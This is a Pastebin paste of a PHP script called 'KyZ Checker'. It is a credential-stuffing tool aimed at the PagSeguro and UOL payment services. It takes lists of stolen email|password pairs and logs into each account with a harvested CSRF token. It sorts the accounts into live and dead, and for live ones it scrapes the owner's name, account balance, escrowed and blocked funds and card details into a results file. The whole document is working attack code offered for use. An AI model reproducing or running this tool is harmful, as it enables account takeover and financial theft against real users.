Advertisement
Guest User

Untitled

a guest
Dec 23rd, 2016
321
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 16.65 KB | None | 0 0
  1. <?php
  2.  
  3.  
  4. $sock = '';
  5.  
  6. error_reporting(0);
  7.  
  8.  
  9.  
  10. function getStr($string, $start, $end) {
  11.  
  12. $str = explode($start, $string);
  13.  
  14. $str = explode($end, $str[1]);
  15.  
  16. return $str[0];
  17.  
  18. }
  19.  
  20.  
  21.  
  22.  
  23. class cURL {
  24.  
  25.  
  26.  
  27. var $callback = false;
  28.  
  29.  
  30.  
  31. function setCallback($func_name) {
  32.  
  33. $this->callback = $func_name;
  34.  
  35. }
  36.  
  37.  
  38.  
  39. function doRequest($method, $url) {
  40.  
  41. $ch = curl_init();
  42.  
  43. global $email, $pwd,$token,$pag;
  44.  
  45. if ($pag)
  46. {
  47. curl_setopt($ch, CURLOPT_URL, $url);
  48. curl_setopt($ch, CURLOPT_HEADER, 1);
  49. curl_setopt($ch, CURLOPT_NOBODY, false);
  50. curl_setopt($ch, CURLOPT_ENCODING, 'gzip');
  51. curl_setopt($ch, CURLOPT_USERAGENT, $_SERVER['HTTP_USER_AGENT']);
  52. curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
  53. curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  54. curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
  55. curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
  56. curl_setopt($ch, CURLOPT_COOKIESESSION, true);
  57. curl_setopt($ch, CURLOPT_COOKIEJAR, getcwd().'/pagseguro.txt');
  58. curl_setopt($ch, CURLOPT_COOKIEFILE, getcwd().'/pagseguro.txt');
  59. curl_setopt($ch, CURLOPT_REFERER, 'https://pagseguro.uol.com.br/login.jhtml');
  60. curl_setopt($ch, CURLOPT_TIMEOUT, 200);
  61. curl_setopt($ch, CURLOPT_VERBOSE, 1);
  62.  
  63. if ($method == 'POST') {
  64.  
  65. curl_setopt($ch, CURLOPT_POST, 1);
  66.  
  67. curl_setopt($ch, CURLOPT_POSTFIELDS, 'dest=+REDIR%7Chttps%3A%2F%2Fpagseguro.uol.com.br%2Fdata%2Fedit.jhtml%23!account-data&skin=&acsrfToken='.$token.'&user='.$email.'&pass='.$pwd);
  68.  
  69. }
  70. }
  71. else
  72. {
  73.  
  74. curl_setopt($ch, CURLOPT_URL, $url);
  75. curl_setopt($ch, CURLOPT_HTTPHEADER, array('Content-Type: application/x-www-form-urlencoded'));
  76. curl_setopt($ch, CURLOPT_USERAGENT, $_SERVER['HTTP_USER_AGENT']);
  77. curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
  78. curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
  79. curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
  80. curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
  81. curl_setopt($ch, CURLOPT_COOKIESESSION, true);
  82. curl_setopt($ch, CURLOPT_COOKIEJAR, getcwd() . '/acessocard.txt');
  83. curl_setopt($ch, CURLOPT_COOKIEFILE, getcwd() . '/acessocard.txt');
  84. curl_setopt($ch, CURLOPT_REFERER, 'https://acesso.uol.com.br/login.html');
  85. curl_setopt($ch, CURLOPT_VERBOSE, 1);
  86.  
  87. if ($method == 'POST') {
  88.  
  89. curl_setopt($ch, CURLOPT_POST, 1);
  90. curl_setopt($ch, CURLOPT_POSTFIELDS, 'user='.$email.'&pass='.$pwd.'&skin=default&dest=&deviceId='.$token.'');
  91.  
  92. }
  93. }
  94. $data = curl_exec($ch);
  95.  
  96. curl_close($ch);
  97.  
  98. if ($data) {
  99.  
  100. if ($this->callback) {
  101.  
  102. $callback = $this->callback;
  103.  
  104. $this->callback = false;
  105.  
  106. return call_user_func($callback, $data);
  107.  
  108. } else {
  109.  
  110. return $data;
  111.  
  112. }
  113.  
  114. } else {
  115.  
  116. return curl_error($ch);
  117.  
  118. }
  119.  
  120. }
  121.  
  122.  
  123.  
  124. function get($url) {
  125.  
  126. return $this->doRequest('GET', $url, 'NULL');
  127.  
  128. }
  129.  
  130.  
  131.  
  132. function post($url) {
  133.  
  134. return $this->doRequest('POST', $url);
  135.  
  136. }
  137.  
  138.  
  139.  
  140. }
  141.  
  142.  
  143.  
  144. echo '<div id="page-content">
  145.  
  146.  
  147.  
  148.  
  149.  
  150.  
  151. <DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
  152.  
  153. <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
  154.  
  155.  
  156.  
  157.  
  158.  
  159. <script type="text/javascript">
  160. function pushPaypalDie(str){
  161. document.getElementById(\'listPaypalDie\').innerHTML += \'<div>\' + str + \'</div>\';
  162. }
  163. function pushPaypal(str){
  164.  
  165. document.getElementById(\'listPaypal\').innerHTML += \'<div>\' + str + \'</div>\';
  166.  
  167. }
  168.  
  169. function pushWrongFormat(str){
  170.  
  171. document.getElementById(\'listWrongFormat\').innerHTML += \'<div>\' + str + \'</div>\';
  172.  
  173. }
  174.  
  175. </script>
  176. <!-- Latest compiled and minified CSS -->
  177. <link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/css/bootstrap.min.css" integrity="sha384-BVYiiSIFeK1dGmJRAkycuHAHRg32OmUcww7on3RYdg4Va+PmSTsz/K68vbdEjh4u" crossorigin="anonymous">
  178.  
  179. <!-- Optional theme -->
  180. <link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/css/bootstrap-theme.min.css" integrity="sha384-rHyoN1iRsVXV4nD0JutlnGaslCJuC7uwjduW9SVrLvRYooPp2bWYgmgJQIXwl/Sp" crossorigin="anonymous">
  181.  
  182. <!-- Latest compiled and minified JavaScript -->
  183. <script src="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/js/bootstrap.min.js" integrity="sha384-Tc5IQib027qvyjSMfHjOMaLkfuWVxZxUPnCJA7l2mCWNIpG9mGCD8wGNIcPD7Txa" crossorigin="anonymous"></script>
  184.  
  185. <meta name="viewport" content="width=device-width, initial-scale=1">
  186. <link href="https://fonts.googleapis.com/icon?family=Material+Icons" rel="stylesheet">
  187.  
  188.  
  189. <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/4.6.3/css/font-awesome.min.css">
  190.  
  191.  
  192.  
  193. </head>
  194.  
  195.  
  196.  
  197.  
  198.  
  199. <body background="back.jpg" style="background-repeat: no-repeat; background-size: cover;">
  200.  
  201.  
  202.  
  203. <div class="main-content">
  204. <br>
  205. <div class="col-xs-11" style="margin: 0px auto;float:none;"><div class="box"><div class="box-title"><h3>&nbsp;</i>&nbsp;&nbsp;<center><font style="color: red; text-shadow: 1px 1px 5px white; font-size: 50; font-family: fantasy;">KyZ Checker</font></center></h3><center><font style="color: red; font-size: 30; font-family: arial; ">PagSeguro</font></center>
  206. <form method="post">
  207. <br>
  208. <div align="center"><textarea name="mp" rows="13" class="form-control" placeholder="example@priv8.zapata|123456" style="width:90%">';
  209. if (isset($_POST['btn-submit']))
  210. echo $_POST['mp'];
  211. else
  212.  
  213. ;
  214. echo '</textarea><br /><font style="color: red;">SEPARADOR:</font> <br><input type="text" style="width:20px; text-align: center;" name="delim" value="';
  215.  
  216. if (isset($_POST['btn-submit']))
  217. echo $_POST['delim'];
  218. else
  219. echo '|';
  220. ;
  221. echo '" size="1" /><input type="hidden" name="mail" value="';
  222. if (isset($_POST['btn-submit']))
  223. echo $_POST['mail'];
  224. else
  225. echo 0;
  226. ;
  227. echo '" size="1" /><input type="hidden" name="pwd" value="';
  228. if (isset($_POST['btn-submit']))
  229. echo $_POST['pwd'];
  230. else
  231. echo 1;
  232. ;
  233. echo '" size="1" />&nbsp;
  234.  
  235. <br>
  236. <br>
  237.  
  238. <input type="submit" class="btn btn-info" value="CHECAR" name="btn-submit" /> </br>&nbsp;&nbsp;&nbsp;&nbsp;
  239.  
  240.  
  241. </div>
  242.  
  243. </form>
  244.  
  245. ';
  246.  
  247. set_time_limit(0);
  248.  
  249.  
  250.  
  251. function fetch_value($str, $find_start, $find_end) {
  252.  
  253. $start = strpos($str, $find_start);
  254.  
  255. if ($start === false) {
  256.  
  257. return "";
  258.  
  259. }
  260.  
  261. $length = strlen($find_start);
  262.  
  263. $end = strpos(substr($str, $start + $length), $find_end);
  264.  
  265. return trim(substr($str, $start + $length, $end));
  266.  
  267. }
  268.  
  269.  
  270.  
  271. function fetch_value_notrim($str, $find_start, $find_end) {
  272.  
  273. $start = strpos($str, $find_start);
  274.  
  275. if ($start === false) {
  276.  
  277. return "";
  278.  
  279. }
  280.  
  281. $length = strlen($find_start);
  282.  
  283. $end = strpos(substr($str, $start + $length), $find_end);
  284.  
  285. return substr($str, $start + $length, $end);
  286.  
  287. }
  288.  
  289.  
  290.  
  291. $dir = dirname(__FILE__);
  292.  
  293. $config['cookie_file'] = $dir . '/cookies/' . md5($_SERVER['REMOTE_ADDR']) . '.txt';
  294.  
  295. if (!file_exists($config['cookie_file'])) {
  296.  
  297. $fp = @fopen($config['cookie_file'], 'w');
  298.  
  299. @fclose($fp);
  300.  
  301. }
  302.  
  303. $zzz = "";
  304.  
  305. $live = array();
  306.  
  307.  
  308.  
  309. function get($list) {
  310.  
  311. preg_match_all("/\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}/", $list, $socks);
  312.  
  313. return $socks[0];
  314.  
  315. }
  316.  
  317. function Ap($ap){
  318. echo '<script>ap(\''. $ap .'\');</script>';
  319. }
  320.  
  321. function Rp($rp){
  322. echo '<script>rp(\''. $rp .'\');</script>';
  323. }
  324.  
  325. function Total($total){
  326. echo '<script>total(\''. $total .'\');</script>';
  327. }
  328.  
  329. function Aprovadas($str){
  330. echo '<script>aprovadas(\''. $str .'\');</script>';
  331. }
  332.  
  333. function Reprovadas($str){
  334. echo '<script>reprovadas(\''. $str .'\');</script>';
  335. }
  336.  
  337. function delete_cookies() {
  338.  
  339. global $config;
  340.  
  341. $fp = @fopen($config['cookie_file'], 'w');
  342.  
  343. @fclose($fp);
  344.  
  345. }
  346.  
  347.  
  348.  
  349. function xflush() {
  350.  
  351. static $output_handler = null;
  352.  
  353. if ($output_handler === null) {
  354.  
  355. $output_handler = @ini_get('output_handler');
  356.  
  357. }
  358.  
  359.  
  360.  
  361. if ($output_handler == 'ob_gzhandler') {
  362.  
  363. return;
  364.  
  365. }
  366.  
  367.  
  368.  
  369. flush();
  370.  
  371. if (function_exists('ob_flush') AND function_exists('ob_get_length') AND ob_get_length() !== false) {
  372.  
  373. @ob_flush();
  374.  
  375. } else if (function_exists('ob_end_flush') AND function_exists('ob_start') AND function_exists('ob_get_length') AND ob_get_length() !== FALSE) {
  376.  
  377. @ob_end_flush();
  378.  
  379. @ob_start();
  380.  
  381. }
  382.  
  383. }
  384.  
  385.  
  386.  
  387. function curl_grab_page($site, $proxy, $proxystatus) {
  388.  
  389. $chss = curl_init();
  390.  
  391. curl_setopt($chss, CURLOPT_RETURNTRANSFER, TRUE);
  392.  
  393. if ($proxystatus == 'on') {
  394.  
  395. curl_setopt($chss, CURLOPT_SSL_VERIFYHOST, FALSE);
  396.  
  397. curl_setopt($chss, CURLOPT_HTTPPROXYTUNNEL, TRUE);
  398.  
  399. curl_setopt($chss, CURLOPT_PROXY, $proxy);
  400.  
  401. }
  402.  
  403. curl_setopt($chss, CURLOPT_COOKIEFILE, "cookie.txt");
  404.  
  405. curl_setopt($chss, CURLOPT_URL, $site);
  406.  
  407. return curl_exec($chss);
  408.  
  409. curl_close($chss);
  410.  
  411. }
  412.  
  413.  
  414.  
  415. function display($str) {
  416.  
  417. echo '<div>' . $str . '</div>';
  418.  
  419. xflush();
  420.  
  421. }
  422.  
  423.  
  424.  
  425. //function pushSockDie($str) {
  426.  
  427. // echo '<script type="text/javascript">pushSockDie(\'' . $str . '\');</script>';
  428.  
  429. // xflush();
  430.  
  431. //}
  432.  
  433. function pushPaypalDie($str) {
  434.  
  435. echo '<script type="text/javascript">pushPaypalDie(\'' . $str . '\');</script>';
  436.  
  437. file_put_contents('api/accountsdead.txt', $str . PHP_EOL, FILE_APPEND);
  438.  
  439. xflush();
  440.  
  441. }
  442.  
  443.  
  444.  
  445. function pushPaypal($str) {
  446.  
  447. echo '<script type="text/javascript">pushPaypal(\'' . $str . '\');</script>';
  448.  
  449. file_put_contents('api/accounts.txt', $str . PHP_EOL, FILE_APPEND);
  450.  
  451. xflush();
  452.  
  453. }
  454.  
  455.  
  456.  
  457. function pushWrongFormat($str) {
  458.  
  459. echo '<script type="text/javascript">pushWrongFormat(\'' . $str . '\');</script>';
  460.  
  461. xflush();
  462.  
  463. }
  464.  
  465.  
  466.  
  467. if (isset($_POST['btn-submit'])) {
  468. $linhas = explode("\n", $_POST['mp']);
  469.  
  470. $conta = count($linhas);
  471. echo '
  472.  
  473. <br/>
  474. <div class="panel panel-success">
  475. <div class="panel-heading">
  476. <h3 class="panel-title">Lived</h3>
  477. </div>
  478. <div id="listPaypal"></div>
  479. </div>
  480.  
  481. <div class="panel panel-danger">
  482. <div class="panel-heading">
  483. <h3 class="panel-title">Died</h3>
  484. </div>
  485. <div id="listPaypalDie"></div>
  486. </div>
  487. <br/>
  488. ';
  489.  
  490. xflush();
  491.  
  492. $emails = explode("\n", trim($_POST['mp']));
  493.  
  494. $eCount = count($emails);
  495.  
  496. $failed = $live = $uncheck = array();
  497.  
  498. $checked = 0;
  499.  
  500. if (!count($emails)) {
  501.  
  502. // continue;
  503.  
  504. }
  505.  
  506. delete_cookies();
  507.  
  508. //$sockClear = isSockClear();
  509.  
  510. //if ($sockClear != 1) {
  511.  
  512. //pushSockDie('[<font color="#FF0000">' . $sock . '</font>]');
  513.  
  514. //continue;
  515.  
  516. //}
  517.  
  518.  
  519.  
  520.  
  521.  
  522.  
  523.  
  524.  
  525.  
  526. function mask($val, $mask)
  527.  
  528. {
  529.  
  530. $maskared = '';
  531.  
  532. $k = 0;
  533.  
  534. for($i = 0; $i<=strlen($mask)-1; $i++)
  535.  
  536. {
  537.  
  538. if($mask[$i] == '#')
  539.  
  540. {
  541.  
  542. if(isset($val[$k]))
  543.  
  544. $maskared .= $val[$k++];
  545.  
  546. }
  547.  
  548. else
  549.  
  550. {
  551.  
  552. if(isset($mask[$i]))
  553.  
  554. $maskared .= $mask[$i];
  555.  
  556. }
  557.  
  558. }
  559.  
  560. return $maskared;
  561.  
  562. }
  563.  
  564.  
  565.  
  566.  
  567.  
  568. foreach ($emails AS $k => $line) {
  569.  
  570. $info = explode($_POST['delim'], $line);
  571.  
  572. $email = trim($info["{$_POST['mail']}"]);
  573.  
  574. $pwd = trim($info["{$_POST['pwd']}"]);
  575.  
  576. if (strlen($email) < 14 || strlen($pwd) < 2) {
  577.  
  578. unset($emails[$k]);
  579.  
  580. pushWrongFormat($email . ' | ' . $pwd);
  581.  
  582. continue;
  583.  
  584. }
  585.  
  586. //if ($failed[$sock] > 4)
  587. // continue;
  588. //DELETAR COOKIES
  589.  
  590. if (file_exists(getcwd() . '/acessocard.txt')) {
  591.  
  592. unlink(getcwd() . '/acessocard.txt');
  593. }
  594.  
  595. //FIM COOKIES
  596. //CHAMADAS DE TOKEN E POST
  597.  
  598. $c = new cURL();
  599. $d = $c->post("https://acesso.uol.com.br/login.html");
  600. $checked++;
  601.  
  602.  
  603. if (stristr($d,'limite') !== false) {
  604.  
  605.  
  606. $pag = true;
  607. $a1 = new cURL();
  608. $b1 = $a1->get("https://pagseguro.uol.com.br/login.jhtml");
  609. $token = getStr($b1,'type="hidden" name="acsrfToken" value="','"');
  610.  
  611. $c1 = new cURL();
  612. $d1 = $c1->post("https://pagseguro.uol.com.br/login.jhtml");
  613.  
  614. $token;
  615. $live[] = $xyz;
  616.  
  617. $e1 = new cURL();
  618. $f1 = $e1->post("https://pagseguro.uol.com.br/pre-pago/cartoes.html");
  619.  
  620.  
  621. unset($emails[$k]);
  622. if (stripos($d1, "novidades") !== false){
  623. $quimou = getStr($d1,'id="steps" class="ps-steps-wizard">','</section>');
  624. pushPaypalDie("<b style=\"color:red\">Died => </b><b style=\"color:black\"> $email | $pwd | </b> <b style=\"color:red\"> #KyZChecker</b> ");
  625. }
  626. else
  627. if (stripos($d1, "RECEBEMOS") !== false){
  628. $quimou = getStr($d1,'id="miolo" class="view_content">','</div>');
  629. pushPaypal("<b style=\"color:red\">Died => </b><b style=\"color:black\"> $email | $pwd | </b><b style=\"color:red\"> #KyZChecker</b> ");
  630. }
  631. else
  632. if (stripos($d1, "bloqueada") !== false){
  633. $bloqueada = getStr($d1,'id="blocked" class="msg alert">','</div>');
  634. pushPaypalDie("<b style=\"color:red\">Died => </b><b style=\"color:black\"> $email | $pwd | </b> <b style=\"color:red\"> #KyZChecker</b>");
  635. }
  636. else
  637. if (stripos($d1, "QUALIDADE") !== false){
  638. $contrato = getStr($d1,'id="content" class="view_content pagseguro-default-content article">','</section>');
  639. pushPaypalDie("<b style=\"color:red\">Died => </b><b style=\"color:black\"> $email | $pwd | </b> <b style=\"color:red\"> #KyZChecker</b>");
  640. }
  641. else
  642. if (stripos($d1, "ENCERRADA") !== false){
  643. $encerrada = getStr($d1,'id="my-message" class="uolMsg uolMsg-medium uolMsg-info">','</div>');
  644. pushPaypalDie("<b style=\"color:red\">Died => </b><b style=\"color:black\"> $email | $pwd | </b> <b style=\"color:red\"> #KyZChecker</b>");
  645. }
  646. if (stripos($f1, "Validade:") !== false){
  647. $nome = getStr($f1, ', <strong>', '</strong>');
  648. $saldo = getStr($f1,'id="accountBalance" class="positive">','</dd>'); // Saldo disponível
  649. $receber = getStr($f1,'id="accountEscrow" class="neutral">','</dd>'); // Receber
  650. $bloqueado = getStr($f1,'id="accountBlocked" class="neutral">','</dd>'); // Valor bloqueado
  651. $cc = getStr($f1, ':</dt><dd>','</dd>');
  652. $xyz = "<b style=\"color:green\">Lived => |</b>$email | $pwd | <b>Disponivel:</b> <b style=\"color:green\"> $saldo </b>| <b>Receber:</b> <b style=\"color:green\"> $receber </b> | <b >Bloqueado:</b> <b style=\"color:red\"> $bloqueado</b> |<b style=\"color:black\">Nome:</b> $nome |<b style=\"color:black\">Status:</b> $status|<b style=\"color:black\">Pontuacao:</b> $pontos| $cc";
  653. $live[] = $xyz;
  654. unset($emails[$k]);
  655. pushPaypal($xyz);
  656. $pag = FALSE;
  657. }
  658. else
  659. if (stripos($d1, "pessoais") !== false){
  660. $status = getStr($d1, 'us: <strong>', '</strong>');//stattus da conta
  661. $nome = getStr($d1, ', <strong>', '</strong>');
  662. $saldo = getStr($d1,'id="accountBalance" class="positive">','</dd>'); // Saldo disponível
  663. $receber = getStr($d1,'id="accountEscrow" class="neutral">','</dd>'); // Receber
  664. $bloqueado = getStr($d1,'id="accountBlocked" class="neutral">','</dd>'); // Valor bloqueado
  665. $pontos = getStr($d1, 'o: <strong>','</strong');
  666. $xyz = "<b style=\"color:green\">Lived => </b>$email | $pwd | <b>Disponivel:</b> <b style=\"color:green\"> $saldo </b>| <b>Receber:</b> <b style=\"color:blue\"> $receber </b> | <b >Bloqueado:</b> <b style=\"color:red\"> $bloqueado</b> <b style=\"color:green\">#KyZChecker</b>";
  667. $live[] = $xyz;
  668. unset($emails[$k]);
  669. pushPaypal($xyz);
  670. $pag = FALSE;
  671. }
  672. {
  673. pushPaypalDie(" ");
  674. unset($emails[$k]);
  675. $pag = FALSE;
  676. }
  677. }
  678. else{
  679. pushPaypalDie("<b style=\"color:red\">Died => </b><b style=\"color:black\"> $email | $pwd </b><b style=\"color:red\"> #KyZChecker </b> ");
  680. unset($emails[$k]);
  681.  
  682. }
  683.  
  684. }
  685.  
  686. }
  687.  
  688. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement